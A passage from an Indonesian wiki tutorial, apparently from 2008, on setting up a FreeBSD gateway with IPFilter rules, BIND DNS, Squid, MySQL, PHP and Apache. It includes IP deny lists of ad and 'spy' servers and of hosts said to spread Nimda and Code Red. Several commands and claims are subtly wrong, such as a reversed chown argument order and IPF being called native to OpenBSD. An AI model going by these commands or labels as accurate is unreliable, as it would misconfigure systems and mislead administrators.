   block return-icmp-as-dest(port-unr) in quick all group 10000&lt;br /&gt;
&lt;br /&gt;
#End group 10000&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#OUTWARD bebas&lt;br /&gt;
#-------------&lt;br /&gt;
block out quick on if_1 all head 20000&lt;br /&gt;
pass out quick proto tcp/udp all keep state keep frags group 20000&lt;br /&gt;
pass out quick proto icmp all keep state keep frags 20000&lt;br /&gt;
pass out quick all 20000&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#===========================================================&lt;br /&gt;
#if_2 adalah internal interface (yang terhubung ke intranet)&lt;br /&gt;
#===========================================================&lt;br /&gt;
&lt;br /&gt;
#INWARD&lt;br /&gt;
#------&lt;br /&gt;
block in  quick on if_2 all head 30000&lt;br /&gt;
#Start group 30000&lt;br /&gt;
&lt;br /&gt;
   #Test User, tahan uninitialized host&lt;br /&gt;
   block in quick from !192.168.1.1/24 to any head 31000 group 30000&lt;br /&gt;
   #Start group 31000&lt;br /&gt;
 &lt;br /&gt;
      #Unknown User, harus daftar dhcp dulu&lt;br /&gt;
      pass in log first quick proto tcp/udp from any port = 68 to any port = 67 group 31000&lt;br /&gt;
      block return-icmp-as-dest(host-unk) in log first quick all group 31000 #Unknown&lt;br /&gt;
    &lt;br /&gt;
      #HTTP&lt;br /&gt;
      #Tahan dulu http untuk diinterogasi, mau kemanakah tujuannya.&lt;br /&gt;
      block in log first quick all port = http head 32000 group 31000&lt;br /&gt;
      #Start group 32000&lt;br /&gt;
    &lt;br /&gt;
         #HTTP block template: popups, junker, spammer etc. dilarang!&lt;br /&gt;
         block return-rst in log first quick proto tcp from any to 64.38.238.0/18 group 32000 #ADS!&lt;br /&gt;
         block return-rst in log first quick proto tcp from any to 66.28.153.36/24 group 32000 #porn&amp;amp;spy!&lt;br /&gt;
         #...dst (lihat daftar 3.2.5.1 yang berisi IP popups/spyies)&lt;br /&gt;
      &lt;br /&gt;
         #aman...&lt;br /&gt;
         pass in log first quick proto tcp all flags S keep state keep frags group 32000&lt;br /&gt;
         &lt;br /&gt;
         #HTTP-TCP only, yg lainnya di-blok by default!&lt;br /&gt;
         block return-rst in quick proto tcp all group 32000&lt;br /&gt;
    &lt;br /&gt;
      #End group 32000&lt;br /&gt;
   #End group 31000&lt;br /&gt;
 &lt;br /&gt;
   #Pada tahap ini user telah dikenal (dari 192.168.1.1/24) dan dengan permintaan port selain http&lt;br /&gt;
   #atau user dari 192.168.1.1/24 dengan port http namun protokolnya selain tcp&lt;br /&gt;
   &lt;br /&gt;
   #Tahan permintaan DNS keluar&lt;br /&gt;
   block return-icmp-as-dest(filter-prohib) in quick proto tcp/udp from any to 202.155.0.10/24 port = domain group 30000&lt;br /&gt;
 &lt;br /&gt;
   pass in log first quick proto tcp/udp all port &amp;lt; 1024 keep state group 30000 #regular ports&lt;br /&gt;
   pass in log first quick proto tcp/udp all port = 3130 keep state group 30000 #SQUID&lt;br /&gt;
   pass in log first quick proto tcp/udp all port = 3306 keep state group 30000 #MySQL&lt;br /&gt;
 &lt;br /&gt;
   #__________________________________________________&lt;br /&gt;
   #lainnya secara default di-blok&lt;br /&gt;
   block return-rst in quick proto tcp all group 30000&lt;br /&gt;
   block return-icmp-as-dest(port-unr) in quick all group 30000&lt;br /&gt;
&lt;br /&gt;
#End group 30000&lt;br /&gt;
&lt;br /&gt;
#OUTWARD bebas&lt;br /&gt;
#-------------&lt;br /&gt;
block out quick on if_2 all head 40000&lt;br /&gt;
pass out quick proto tcp/udp all keep state keep frags 40000&lt;br /&gt;
pass out quick proto icmp all keep state keep frags 40000&lt;br /&gt;
pass out quick all 40000&lt;br /&gt;
[/pre]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3.2.5.1 Daftar alamat IP popup&lt;br /&gt;
Berikut ini daftar ip popup dan advertising banner, spy, spammer dll yang selain menyebalkan juga kadang berbahaya.&lt;br /&gt;
cat.: ganti kata &amp;quot;BLOK&amp;quot; dengan: &amp;quot;block return-rst in log first quick proto tcp from any to&amp;quot;, juga nomor group disesuaikan dengan konfigurasi&lt;br /&gt;
&lt;br /&gt;
  #HTTP block template&lt;br /&gt;
&lt;br /&gt;
  #Hall Of Fames - top of sh*ts!-&lt;br /&gt;
  BLOK 64.38.238.0/18 group 42000 #popups.ini&lt;br /&gt;
  BLOK 64.38.223.51/24 group 42000 #!!!trafficcashgold.com&lt;br /&gt;
  BLOK 64.38.226.6/24 group 42000 #maxcash.cavecreek.net&lt;br /&gt;
  BLOK 64.38.247.60/24 group 42000 #count1-old.paycounter.com[]&lt;br /&gt;
  BLOK 205.180.85.40/24 group 42000 #popups.ini TOP!!! media.fastclick.net&lt;br /&gt;
  BLOK 202.180.8.129/24 group 42000 #ns1.servercyber.com&lt;br /&gt;
  BLOK 207.68.178.251/24 group 42000 #ads.msn.com&lt;br /&gt;
  BLOK 207.68.185.58/24 group 42000 #autosearch.msn.com&lt;br /&gt;
  BLOK 207.68.171.254/24 group 42000 #adobe-spy&lt;br /&gt;
  BLOK 207.68.172.253/24 group 42000 #adobe-spy&lt;br /&gt;
  BLOK 207.68.173.254/22 group 42000 #adobe-spy&lt;br /&gt;
  BLOK 209.225.0.6/24 group 42000 #servedby.advertising.com&lt;br /&gt;
  BLOK 209.225.4.72/24 group 42000 #advertising.com&lt;br /&gt;
&lt;br /&gt;
  #telkom!dont-block: BLOK 203.130.252.36/24 group 42000 #mencurigakan sih&lt;br /&gt;
&lt;br /&gt;
  #dangerous!&lt;br /&gt;
    BLOK 66.28.38.3/24 group 42000 #&lt;br /&gt;
    BLOK 209.50.252.100/24 group 42000 #4bigcash.com&lt;br /&gt;
    BLOK 209.5.187.10/24 group 42000 #freepopups.com&lt;br /&gt;
    #BLOK 209.5.187.16/24 group 42000 #adpowerzone.com&lt;br /&gt;
    #BLOK 213.249.1.67/24 group 42000 #d67.kif2.nas.panafonet.gr&lt;br /&gt;
  #End dangerous&lt;br /&gt;
&lt;br /&gt;
  #from popups.ini&lt;br /&gt;
    BLOK 12.42.235.3/24 group 42000 #popups.ini&lt;br /&gt;
    #...long-list...&lt;br /&gt;
    BLOK 216.95.228.15/24 group 42000 #popups.ini&lt;br /&gt;
  #end-from popups.ini&lt;br /&gt;
&lt;br /&gt;
  #new compilation&lt;br /&gt;
    #BLOK 66.206.15.201/24 group 42000 #indo-porn, gapapa-lah&lt;br /&gt;
    BLOK 63.167.204.56/24 group 42000 #7adpower.com&lt;br /&gt;
    #...long-list...&lt;br /&gt;
    BLOK 128.11.42.61/24 group 42000 #burstnet.com&lt;br /&gt;
    #dont-block-yahoo: BLOK 66.218.71.80/24 group 42000 #w1.scd.yahoo.com&lt;br /&gt;
  #end-new compilation&lt;br /&gt;
&lt;br /&gt;
  #old compilation&lt;br /&gt;
    BLOK 12.90.179.10/16 group 42000&lt;br /&gt;
    BLOK 63.215.149.25/24 group 42000 #porno&lt;br /&gt;
    BLOK 192.150.10.120/16 group 42000 #adobe spyier!!!&lt;br /&gt;
    #...long-list...&lt;br /&gt;
    BLOK 216.218.220.42/24 group 42000 #servergold.com - porn&lt;br /&gt;
    #beware! Namezeroes are always peeking our nbns port!&lt;br /&gt;
    BLOK 216.34.13.245 port != 80 group 42000&lt;br /&gt;
&lt;br /&gt;
  #end-old-compilation&lt;br /&gt;
&lt;br /&gt;
3.2.5.2 Daftar alamat IP berbahaya&lt;br /&gt;
Berikut ini daftar alamat IP berbahaya karena menyebarkan virus nimda atau code-red hingga tulisan ini dibuat (mungkin IP anda tercantum disini, selamat! :)).&lt;br /&gt;
penggunaannya dalam ipf.rules misalnya:&lt;br /&gt;
&lt;br /&gt;
  block return-rst in log first quick on rl1 proto tcp from 202.10.35.227 to any Group 23456 #Nimda&lt;br /&gt;
&lt;br /&gt;
  4.47.218.144#code_red&lt;br /&gt;
  &lt;br /&gt;
#internal INDOSAT NET-10.X.X.X&lt;br /&gt;
  10.1.8.108#nimda&lt;br /&gt;
  10.6.2.4#nimda&lt;br /&gt;
  #...long-list...&lt;br /&gt;
  10.6.18.68#nimda&lt;br /&gt;
#end: internal INDOSAT NET-10.X.X.X&lt;br /&gt;
&lt;br /&gt;
  24.73.201.22#code_red&lt;br /&gt;
  24.80.172.120#code_red&lt;br /&gt;
  #...long-list...&lt;br /&gt;
  24.196.16.168#code_red&lt;br /&gt;
  219.8.104.74#nimda&lt;br /&gt;
&lt;br /&gt;
4.Lain-lain&lt;br /&gt;
Dalam bagian ini diasumsikan bahwa kita akan menginstal program dari source kodenya, yang diekstrak ke direktori /usr/local/src, mis.: tar -xpvzf apache.tgz -C /usr/local/src.&lt;br /&gt;
bagian version number, jika ada, sebaiknya dihilangkan, mis.: mv  apache-1.1.23pl8  apache&lt;br /&gt;
&lt;br /&gt;
4.1. Squid&lt;br /&gt;
/configure --enable-ipf-transparent \&lt;br /&gt;
&lt;br /&gt;
#parameter lain yang perlu:&lt;br /&gt;
--prefix=/usr/local \&lt;br /&gt;
--bindir=\${prefix}/sbin \ &lt;br /&gt;
--libexecdir=\${prefix}/libexec \&lt;br /&gt;
--sysconfdir=\${prefix}/etc/squid \&lt;br /&gt;
&lt;br /&gt;
#parameter lain yang mungkin perlu:&lt;br /&gt;
--enable-storeio=&amp;quot;ufs diskd null&amp;quot; \&lt;br /&gt;
--enable-removal-policies=&amp;quot;lru heap&amp;quot; \&lt;br /&gt;
&lt;br /&gt;
#parameter tambahan:&lt;br /&gt;
--localstatedir=\${prefix}/squid \&lt;br /&gt;
--host=i686 \&lt;br /&gt;
--disable-ident-lookups \&lt;br /&gt;
--disable-wccp \&lt;br /&gt;
--enable-kill-parent-hack \&lt;br /&gt;
--enable-time-hack \&lt;br /&gt;
--with-pthreads &lt;br /&gt;
&lt;br /&gt;
make all; make install&lt;br /&gt;
&lt;br /&gt;
Dengan parameter diatas kita akan memperoleh konfigurasi squid yang mirip seperti jika kita menginstalnya melalui package.&lt;br /&gt;
Kemudian file logs dan cache di direktori /usr/local/etc/squid di chown nobody:nogroup (atau sesuai dengan usernya jika telah dibuat user untuk squid, seperti user mysql dibawah).&lt;br /&gt;
Setelah itu kita buat intial cache directory dengan menjalankan: squid -z. Default cache size adalah 100MB.&lt;br /&gt;
&lt;br /&gt;
==Konfigurasi MySQL, PHP dan Apache==&lt;br /&gt;
&lt;br /&gt;
==MySQL==&lt;br /&gt;
&lt;br /&gt;
 /configure \&lt;br /&gt;
  --localstatedir=/var/db/mysql \&lt;br /&gt;
  --with-unix-socket-path=/var/run/mysql.sock \&lt;br /&gt;
  --host=i686 \&lt;br /&gt;
  --enable-assembler \&lt;br /&gt;
  --with-libwrap \&lt;br /&gt;
  --with-berkeley-db \&lt;br /&gt;
  --with-named-z-lib \&lt;br /&gt;
  --with-mysqld-ldflags=-all-static \&lt;br /&gt;
  --with-client-ldflags=-all-static \&lt;br /&gt;
  --without-debug \&lt;br /&gt;
  --without-bench \&lt;br /&gt;
  --without-docs \&lt;br /&gt;
  --without-readline&lt;br /&gt;
 &lt;br /&gt;
 make; make install&lt;br /&gt;
&lt;br /&gt;
Tambahkan user mysql dengan ID misalkan = 3036&lt;br /&gt;
&lt;br /&gt;
 pw add group mysql -g 3036&lt;br /&gt;
 pw add user mysql -u mysql -g mysql -wno -s /sbin/nologint -d /var/db/mysql -c &amp;quot;MySQL&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Direktori localstatedir (/var/db/mysql) diatas, *harus* read/write by user mysql:&lt;br /&gt;
chown -R /var/db/mysql mysql:mysql&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==PHP==&lt;br /&gt;
Sebelumnya kita harus cd ke source apache dulu: cd /usr/local/src/apache, lalu jalankan  ./configure (plain).&lt;br /&gt;
&lt;br /&gt;
Kemudian baru cd ke source php: cd /usr/local/src/php dan mengkonfigurasi php sesuai preferensi kita.&lt;br /&gt;
&lt;br /&gt;
 /configure \&lt;br /&gt;
  --build=i686 \&lt;br /&gt;
  --prefix=/usr/local \&lt;br /&gt;
  --with-mysql=/usr/local \&lt;br /&gt;
  --with-apache=../apache \&lt;br /&gt;
  --with-pcre-regex=/usr/local \&lt;br /&gt;
  --with-mcrypt \&lt;br /&gt;
  --with-zlib \&lt;br /&gt;
  --with-ftp \&lt;br /&gt;
  --enable-track-vars \&lt;br /&gt;
  --enable-ctype &lt;br /&gt;
&lt;br /&gt;
 make; make install &lt;br /&gt;
&lt;br /&gt;
==Apache==&lt;br /&gt;
&lt;br /&gt;
 /configure \&lt;br /&gt;
  --enable-module=most \&lt;br /&gt;
  --enable-shared=max \&lt;br /&gt;
  --server-uid=www \&lt;br /&gt;
  --server-gid=www \&lt;br /&gt;
  --activate-module=src/modules/php4/libphp4.a &lt;br /&gt;
&lt;br /&gt;
 make; make install &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Penutup==&lt;br /&gt;
&lt;br /&gt;
Sesuai dengan tujuan utama tulisan ini, beberapa sub-sistem mungkin hanya sedikit atau sama sekali tidak dibahas, bagian-bagian tersebut dianggap sesuai dengan instalasi default.&lt;br /&gt;
Terakhir, penulis dengan senang hati akan menerima kritik dan saran dari pembaca semua, semoga ada manfaatnya.&lt;br /&gt;
&lt;br /&gt;
 aa, aa.delphi@yahoo.com&lt;br /&gt;
&lt;br /&gt;
URL: http://opensource.telkomspeedy.com/forum/viewtopic.php?pid=22122&lt;/div&gt;</summary>
		<author><name>Aa</name></author>
	</entry>
	<entry>
		<id>https://lms.onnocenter.or.id/wiki/index.php?title=Mengoptimalkan_kemampuan_firewall_dan_proxy_server_FreeBSD_dalam_sebuah_network_sederhana_yang_hanya_memiliki_satu_IP_global&amp;diff=4658</id>
		<title>Mengoptimalkan kemampuan firewall dan proxy server FreeBSD dalam sebuah network sederhana yang hanya memiliki satu IP global</title>
		<link rel="alternate" type="text/html" href="https://lms.onnocenter.or.id/wiki/index.php?title=Mengoptimalkan_kemampuan_firewall_dan_proxy_server_FreeBSD_dalam_sebuah_network_sederhana_yang_hanya_memiliki_satu_IP_global&amp;diff=4658"/>
		<updated>2008-07-27T03:50:13Z</updated>

		<summary type="html">&lt;p&gt;Aa: /* Topologi Network */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Sumber:  aa, aa.delphi@yahoo.com&lt;br /&gt;
URL: http://opensource.telkomspeedy.com/forum/viewtopic.php?pid=22122&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dalam tulisan ini akan dibahas (mudah-mudahan) secara cukup detail, bagaimana mengoptimalkan kemampuan firewall dan proxy server FreeBSD dalam sebuah network sederhana yang hanya memiliki satu IP global, baik dinamik maupun statik (dial-up PPP, Cable-Modem atau DSL).&lt;br /&gt;
&lt;br /&gt;
Model network seperti ini merupakan model yang sangat umum digunakan oleh warnet serta perusahaan kecil yang berniat untuk memberikan akses internet yang murah meriah bagi para karyawannya.&lt;br /&gt;
&lt;br /&gt;
Teknik yang akan dibahas ini merupakan salah satu (mungkin merupakan yang terbaik) dibandingkan dengan alternatif lainnya seperti menggunakan hardware tertentu (modem dengan kapabilitas internet sharing), kelemahan: jumlah host sangat terbatas, antara 2 - 8, serta fleksibilitasnya sangat rendah, hampir tanpa menggunakan pengamanan dari intruder.&lt;br /&gt;
&lt;br /&gt;
Pilihan lainnya adalah dengan sistem operasi MS Windows (yang sudah sangat familiar), fleksibilitas cukup, namun dengan tingkat pengamanan yang relatif rendah.&lt;br /&gt;
&lt;br /&gt;
Pilihan OS lainnya seperti Linux, OpenBSD atau Solaris bisa juga diperhitungkan, namun overall performance, kombinasi FreeBSD dan IPF adalah yang terbaik dinilai dari segi keamanan/security, performansi, dukungan resources (software, kompatibilitas, utilitas dan dokumentasi) yang tersedia, serta biaya yang dibutuhkan. Dengan FreeBSD mesin 386 tua milik kita disulap menjadi sebuah server yang powerful, robust dan tahan banting.&lt;br /&gt;
&lt;br /&gt;
cat: IPF (IPFilter) adalah paket firewal native dari OpenBSD, sistem operasi yang selama ini dinilai sebagai salah satu OS yang dianggap paling secure.&lt;br /&gt;
&lt;br /&gt;
==Topologi Network==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
===============================================&lt;br /&gt;
&lt;br /&gt;
             _____&lt;br /&gt;
            | ISP |&lt;br /&gt;
            |_____|&lt;br /&gt;
  DNS: 202.155.0.10, 202.155.0.20&lt;br /&gt;
               |&lt;br /&gt;
               | 10.20.30.40&lt;br /&gt;
            ___|___  &lt;br /&gt;
           |FreeBSD|........... &lt;br /&gt;
           |_______|  Virtual-Host 192.168.2.1&lt;br /&gt;
  my.domain.box|  Gateway      &lt;br /&gt;
   192.168.1.1 |  Firewall - IPF/IPNAT&lt;br /&gt;
               |  DNS Server - BIND&lt;br /&gt;
   Network:    |  HTTP Server - Apache&lt;br /&gt;
   192.168.1.0 |  Proxy Server - Squid&lt;br /&gt;
  255.255.255.0|  SQL Server - MySQL&lt;br /&gt;
               |  &lt;br /&gt;
               |  &lt;br /&gt;
      _________|____...___    &lt;br /&gt;
     |     |     |        |  &lt;br /&gt;
   __|__ __|__ __|__    __|__&lt;br /&gt;
   Host1 Host2 Host3    HostN&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ada 3 pokok bahasan utama dalam kasus ini.&lt;br /&gt;
# DNS&lt;br /&gt;
# DHCP Server&lt;br /&gt;
# IPF/IPNAT&lt;br /&gt;
&lt;br /&gt;
lain-lain: Apache, MySQL dan Squid tidak akan dibahas panjang karena tidak esensial dalam konteks ini.&lt;br /&gt;
&lt;br /&gt;
==DNS==&lt;br /&gt;
&lt;br /&gt;
Untuk mengaktifkan name server jalankan /stand/sysinstal pilih menu Configure, kemudian Startup, lalu aktifkan (enable) named. Jika anda ingin menjalankan named dalam sandbox, isi named flags dengan argumen seperti dalam uraian butir 1.3.&lt;br /&gt;
&lt;br /&gt;
Cara lainnya adalah dengan mengedit langsung /etc/rc.conf, ganti atau tambahkan entri di &lt;br /&gt;
&lt;br /&gt;
 /etc/rc.conf:&lt;br /&gt;
   named_enable=&amp;quot;yes&amp;quot;&lt;br /&gt;
   named_flags=&amp;quot;&amp;quot;  #lihat uraian selanjutnya&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Cache-Only DNS Server==&lt;br /&gt;
&lt;br /&gt;
Konfigurasi DNS yang paling sederhana, yang kemungkinan besar akan berjalan lancar adalah menggunakan konfigurasi jenis cache-only DNS Server, artinya server DNS kita TIDAK memiliki otoritas atas satu zone-pun juga kecuali localhost dan loopback network 127.&lt;br /&gt;
&lt;br /&gt;
Kekurangan dari model DNS Server seperti ini adalah, tentu saja, host-host dalam network kita tidak dapat saling mengenal. Hal ini bisa kita uji dengan perintah ping dari satu host terhadap host lainnya.&lt;br /&gt;
&lt;br /&gt;
cat.: Dalam terminologi BIND, zone adalah suatu area network dimana sebuah server DNS memiliki otoritas atas pengaturan nama atas host-host yang ada di dalamnya.&lt;br /&gt;
&lt;br /&gt;
Untuk network yang relatif sederhana seperti pada small-office atau di organisasi kecil, suatu zone umumnya hanya berupa satu domain, sementara di organisasi yang cukup besar, seperti di lingkungan kampus dan terutama di sebuah ISP, biasanya sebuah server DNS akan menangani suatu zone yang terdiri atas lebih dari satu domain.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Konfigurasi dalam named.conf==&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/namedb&amp;quot;;&lt;br /&gt;
   forwarders {&lt;br /&gt;
   // daftar DNS Server ISP kita misalnya:&lt;br /&gt;
     202.155.0.10;&lt;br /&gt;
     202.155.0.20; &lt;br /&gt;
   };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;0.0.127.in-addr.arpa&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;localhost.rev&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;.&amp;quot; {&lt;br /&gt;
   type hint;&lt;br /&gt;
   file &amp;quot;root.servers&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==File-file database==&lt;br /&gt;
&lt;br /&gt;
==File localhost.rev:==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 @TTL 3600&lt;br /&gt;
 @ IN SOA my.domain.box. root.domain.box. (&lt;br /&gt;
   3600,900,36000,3600&lt;br /&gt;
   )&lt;br /&gt;
   IN NS my.domain.box.&lt;br /&gt;
 1 IN PTR localhost.domain.box.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
cat.: Untuk menghindari salah ketik, sebaiknya kita cukup menjalankan perintah: sh make-localhost di direktori /etc/namedb.&lt;br /&gt;
&lt;br /&gt;
==File root.servers:==&lt;br /&gt;
File ini tidak perlu dirubah, biarkan saja sesuai defaultnya.&lt;br /&gt;
&lt;br /&gt;
==Internal-Root DNS Server==&lt;br /&gt;
Seperti dapat dilihat pada gambar diatas, network kita termasuk kedalam network kelas C, dengan alamat 192.168.1.0 dan netmask 255.255.255.0. IP address network card pertama (if_1) ditetapkan oleh ISP, sementara if_2 dapat kita tentukan sendiri.&lt;br /&gt;
&lt;br /&gt;
Selanjutnya kita dapat menetapkan hal-hal sebagai berikut:&lt;br /&gt;
&lt;br /&gt;
 Zone/domain: domain.box&lt;br /&gt;
 Reverse-Network: 1.168.192.in-addr.arpa&lt;br /&gt;
 Server address: 192.168.1.1&lt;br /&gt;
 Server name: my.domain.box&lt;br /&gt;
&lt;br /&gt;
==Konfigurasi dalam named.conf:==&lt;br /&gt;
&lt;br /&gt;
==Konfigurasi awal (Cache-Only DNS Server):==&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/namedb&amp;quot;;&lt;br /&gt;
   forwarders {&lt;br /&gt;
   // daftar DNS Server ISP:&lt;br /&gt;
     202.155.0.10;&lt;br /&gt;
     202.155.0.20; &lt;br /&gt;
   };&lt;br /&gt;
   version &amp;quot;19.09.1969&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;0.0.127.in-addr.arpa&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;localhost.rev&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Konfigurasi named.conf yang perlu ditambahkan (atau dirubah):==&lt;br /&gt;
&lt;br /&gt;
 forward;&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;domain.box&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;box/domain.db&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;1.168.192.in-addr.arpa&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;box/domain.rev&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;.&amp;quot; {&lt;br /&gt;
   type hint;&lt;br /&gt;
   //file &amp;quot;root.servers&amp;quot;;&lt;br /&gt;
   file &amp;quot;box/root.box&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==File-file database==&lt;br /&gt;
&lt;br /&gt;
==File localhost.rev:==&lt;br /&gt;
&lt;br /&gt;
Tidak perlu ada perubahan dalam file ini, sama dengan butir 1.1.2.1 diatas.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==File domain.db:==&lt;br /&gt;
&lt;br /&gt;
Berisi daftar translasi name to address untuk seluruh host yang ada di domain domain.box, hati-hati character comment di sini adalah semi-colon (;) bukan hash (#).&lt;br /&gt;
&lt;br /&gt;
 @TTL 3600&lt;br /&gt;
 @ IN SOA my.domain.box. root.domain.box. (&lt;br /&gt;
   3600,900,36000,3600&lt;br /&gt;
   )&lt;br /&gt;
   IN NS my.domain.box.&lt;br /&gt;
&lt;br /&gt;
 localhost IN A 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
 my IN A 192.168.1.1&lt;br /&gt;
 host1 in cname my&lt;br /&gt;
 host2 IN A 192.168.1.2&lt;br /&gt;
 host3 IN A 192.168.1.3&lt;br /&gt;
 ..&lt;br /&gt;
 ..&lt;br /&gt;
 ..&lt;br /&gt;
 host254 IN A 192.168.1.254&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
cat.: Perhatikan bahwa dalam database ini kita perlu menambahkan entri untuk localhost, sehingga setiap rujukan atas localhost, dari manapun juga, akan diarahkan ke loopback masing-masing.&lt;br /&gt;
&lt;br /&gt;
==File domain.rev:==&lt;br /&gt;
Kebalikan dari domain.db, merupakan reverse address to name atas domain.box untuk network 192.168.1.0/24&lt;br /&gt;
&lt;br /&gt;
 @TTL 3600&lt;br /&gt;
 @ IN SOA my.domain.box. root.domain.box. (&lt;br /&gt;
   3600,900,36000,3600&lt;br /&gt;
   )&lt;br /&gt;
   IN NS my.domain.box. &lt;br /&gt;
&lt;br /&gt;
 1 IN PTR my&lt;br /&gt;
 2 IN PTR host1&lt;br /&gt;
 3 IN PTR host2&lt;br /&gt;
 ..&lt;br /&gt;
 254 IN PTR host254&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
cat.: Perhatikan bahwa tidak bisa dilakukan reverse untuk alias atau CNAME (canonical-name). Tidak diperbolehkan terdapat *dua entri yang sama* untuk *satu nomor address*, atau dengan kata lain, satu nomor adress tidak boleh merujuk kepada dua nama yang berbeda. Sebaliknya bisa saja terdapat dua nomor address untuk satu nama, misalnya jika kita memiliki dua atau lebih network card dalam satu host yang masing-masing memiliki IP sendiri.&lt;br /&gt;
&lt;br /&gt;
==File root.box:==&lt;br /&gt;
&lt;br /&gt;
File ini merupakan modifikasi dari file root.servers, yaitu dengan menambahkan RR (Resource Record) yang menyatakan bahwa server kita memiliki otoritas atas root domain.&lt;br /&gt;
&lt;br /&gt;
 @TTL 3600&lt;br /&gt;
 @ IN SOA my.domain.box. root.domain.box. (&lt;br /&gt;
   3600,900,36000,3600&lt;br /&gt;
   )&lt;br /&gt;
   IN NS my.domain.box.&lt;br /&gt;
&lt;br /&gt;
 ;domain &amp;quot;domain.box&amp;quot; didelegasikan langsung dari root&lt;br /&gt;
 domain.box. 9999999 IN NS my.domain.box.&lt;br /&gt;
&lt;br /&gt;
 ;juga reverse dari class-C network &lt;br /&gt;
 1.168.192.in-addr.arpa 9999999 IN NS my.domain.box.&lt;br /&gt;
&lt;br /&gt;
 ;glue records&lt;br /&gt;
 my.domain.box. IN A 192.168.1.1&lt;br /&gt;
&lt;br /&gt;
 ;daftar root server selanjutnya sama dengan default di file root.servers&lt;br /&gt;
 ..&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==DNS Server in the sand-box==&lt;br /&gt;
&lt;br /&gt;
Konfigurasi server DNS ini terutama ditujukan untuk memperketat sekuriti sistem network, prinsipnya sederhana, yaitu menjalankan servis DNS (named) oleh non-privilege user, untuk ini biasanya sengaja dibuat satu user khusus, tanpa fasilitas login.&lt;br /&gt;
Sebenarnya untuk model network kita yang sederhana, ancaman sekuriti yang ada mungkin tidak akan terlalu serius. Konfigurasi ini bisa jadi sebagai opsi yang bisa diambil ataupun tidak.&lt;br /&gt;
&lt;br /&gt;
1.3.1&lt;br /&gt;
  Buat user baru untuk servis DNS, misalnya dengan nama: bind.&lt;br /&gt;
  User group: bind (default)&lt;br /&gt;
  User home: /usr/local/bind&lt;br /&gt;
  shell: no, nologin atau nonexistent&lt;br /&gt;
&lt;br /&gt;
1.3.2&lt;br /&gt;
  ganti atau tambahkan entri di /etc/rc.conf:&lt;br /&gt;
  named_flags=&amp;quot;-u bind -g bind -w /usr/local/bind -c named.conf -t /usr/local/bind&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  Penjelasan atas argumen:&lt;br /&gt;
  -u dan -g: user serta group yang menjalankan servis DNS adalah &amp;quot;bind&amp;quot;.&lt;br /&gt;
  -w dan -c: direktori kerja dan nama file konfigurasi yang dipakai.&lt;br /&gt;
  -t: setelah melakukan inisialisasi, servis DNS menjadikan /usr/local/bind&lt;br /&gt;
  sebagai root direktorinya (chroot).&lt;br /&gt;
&lt;br /&gt;
  Dengan penggantian user, group dan chroot, servis DNS ini tidak lagi memiliki akses tak-terbatas atas resources, sehingga perlu dilakukan lagi beberapa penyesuaian:&lt;br /&gt;
&lt;br /&gt;
1.3.2.1&lt;br /&gt;
&lt;br /&gt;
  Servis named dan ndc biasanya menampilkan prosess-id-nya dibawah sub-direktori /var/run, karena root-directory-nya berubah, maka kita harus membuat secara manual subdirektori /var/run dibawah /usr/local/bind, jangan lupa ownershipnya harus disesuaikan menjadi bind:bind&lt;br /&gt;
  &lt;br /&gt;
1.3.2.1&lt;br /&gt;
&lt;br /&gt;
  Jika penyesuaian sub-direktori diatas tidak dilakukan maka setidaknya harus dibuat penyesuaian dalam option named.conf:&lt;br /&gt;
[pre]&lt;br /&gt;
  options {&lt;br /&gt;
    ...&lt;br /&gt;
&lt;br /&gt;
    directory &amp;quot;/&amp;quot;; //(atau mudahnya hapus saja option ini)&lt;br /&gt;
    pid-file &amp;quot;named.pid&amp;quot; //named.pid berada di direktori root yang baru&lt;br /&gt;
&lt;br /&gt;
    ...&lt;br /&gt;
  }&lt;br /&gt;
[/pre]&lt;br /&gt;
&lt;br /&gt;
1.3.3&lt;br /&gt;
&lt;br /&gt;
  Pindahkan atau salin /etc/namedb ke /usr/local/bind.&lt;br /&gt;
&lt;br /&gt;
